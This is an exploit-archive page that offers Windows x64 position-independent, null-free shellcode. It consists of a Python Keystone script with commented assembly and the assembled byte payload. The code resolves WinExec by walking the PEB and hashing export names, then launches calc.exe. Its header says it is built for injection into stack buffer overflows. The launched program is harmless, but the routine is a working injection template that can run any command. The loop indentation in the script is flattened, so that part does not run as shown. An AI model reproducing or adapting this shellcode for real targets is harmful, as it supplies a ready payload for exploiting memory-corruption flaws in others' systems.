Windows/x64 pic nullfree calc.exe shellcode (169 bytes) Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2023-07-28 | Type : shellcode | Platform : windows


[+] Code ...

import ctypes, struct
from keystone import *


# Shellcode Author: Senzee
# Shellcode Title: Windows/x64 - PIC Null-Free Calc.exe Shellcode (169 Bytes)
# Date: 07/26/2023
# Platform: Windows x64
# Tested on: Windows 11 Home/Windows Server 2022 Standard/Windows Server 2019 Datacenter
# OS Version (respectively): 10.0.22621 /10.0.20348 /10.0.17763
# Shellcode size: 169 bytes
# Shellcode Desciption: Windows x64 shellcode that dynamically resolves the base address of kernel32.dll via PEB and ExportTable method.
# Contains no Null bytes (0x00), and therefor will not crash if injected into typical stack Buffer OverFlow vulnerabilities.


CODE = (
"find_kernel32:"
" xor rdx, rdx;"
" mov rax, gs:[rdx+0x60];" # RAX stores the value of ProcessEnvironmentBlock member in TEB, which is the PEB address
" mov rsi,[rax+0x18];" # Get the value of the LDR member in PEB, which is the address of the _PEB_LDR_DATA structure
" mov rsi,[rsi + 0x20];" # RSI is the address of the InMemoryOrderModuleList member in the _PEB_LDR_DATA structure
" mov r9, [rsi];" # Current module is python.exe
" mov r9, [r9];" # Current module is ntdll.dll
" mov r9, [r9+0x20];" # Current module is kernel32.dll
" jmp call_winexec;"

"parse_module:" # Parsing DLL file in memory
" mov ecx, dword ptr [r9 + 0x3c];" # R9 stores the base address of the module, get the NT header offset
" xor r15, r15;"
" mov r15b, 0x88;" # Offset to Export Directory
" add r15, r9;"
" add r15, rcx;"
" mov r15d, dword ptr [r15];" # Get the RVA of the export directory
" add r15, r9;" # R14 stores the VMA of the export directory
" mov ecx, dword ptr [r15 + 0x18];" # ECX stores the number of function names as an index value
" mov r14d, dword ptr [r15 + 0x20];" # Get the RVA of ENPT
" add r14, r9;" # R14 stores the VMA of ENPT

"search_function:" # Search for a given function
" jrcxz not_found;" # If RCX is 0, the given function is not found
" dec ecx;" # Decrease index by 1
" xor rsi, rsi;"
" mov esi, [r14 + rcx*4];" # RVA of function name string
" add rsi, r9;" # RSI points to function name string

"function_hashing:" # Hash function name function
" xor rax, rax;"
" xor rdx, rdx;"
" cld;" # Clear DF flag

"iteration:" # Iterate over each byte
" lodsb;" # Copy the next byte of RSI to Al
" test al, al;" # If reaching the end of the string
" jz compare_hash;" # Compare hash
" ror edx, 0x0d;" # Part of hash algorithm
" add edx, eax;" # Part of hash algorithm
" jmp iteration;" # Next byte

"compare_hash:" # Compare hash
" cmp edx, r8d;"
" jnz search_function;" # If not equal, search the previous function (index decreases)
" mov r10d, [r15 + 0x24];" # Ordinal table RVA
" add r10, r9;" # Ordinal table VMA
" movzx ecx, word ptr [r10 + 2*rcx];" # Ordinal value -1
" mov r11d, [r15 + 0x1c];" # RVA of EAT
" add r11, r9;" # VMA of EAT
" mov eax, [r11 + 4*rcx];" # RAX stores RVA of the function
" add rax, r9;" # RAX stores VMA of the function
" ret;"
"not_found:"
" ret;"


"call_winexec:"
" mov r8d, 0xe8afe98;" # WinExec Hash
" call parse_module;" # Search and obtain address of WinExec
" xor rcx, rcx;"
" push rcx;" # \0
" mov rcx, 0x6578652e636c6163;" # exe.clac
" push rcx;"
" lea rcx, [rsp];" # Address of the string as the 1st argument lpCmdLine
" xor rdx,rdx;"
" inc rdx;" # uCmdShow=1 as the 2nd argument
" sub rsp, 0x28;"
" call rax;" # WinExec

)


# Payload size: 169 bytes
# buf = b"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d"
# buf += b"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01"
# buf += b"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01"
# buf += b"\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31"
# buf += b"\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45"
# buf += b"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b"
# buf += b"\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31"
# buf += b"\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2"
# buf += b"\x48\xff\xc2\x48\x83\xec\x28\xff\xd0"




ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("%d instructions..." % count)

sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
sc = ""
print("Payload size: "+str(len(encoding))+" bytes")


counter = 0
sc = "buf = b\""
for dec in encoding:
if counter % 20 == 0 and counter != 0:
sc += "\"\nbuf += b\""
sc += "\\x{0:02x}".format(int(dec))
counter += 1

if count % 20 > 0:
sc += "\""
print(sc)

print("Payload size: "+str(len(encoding))+" bytes")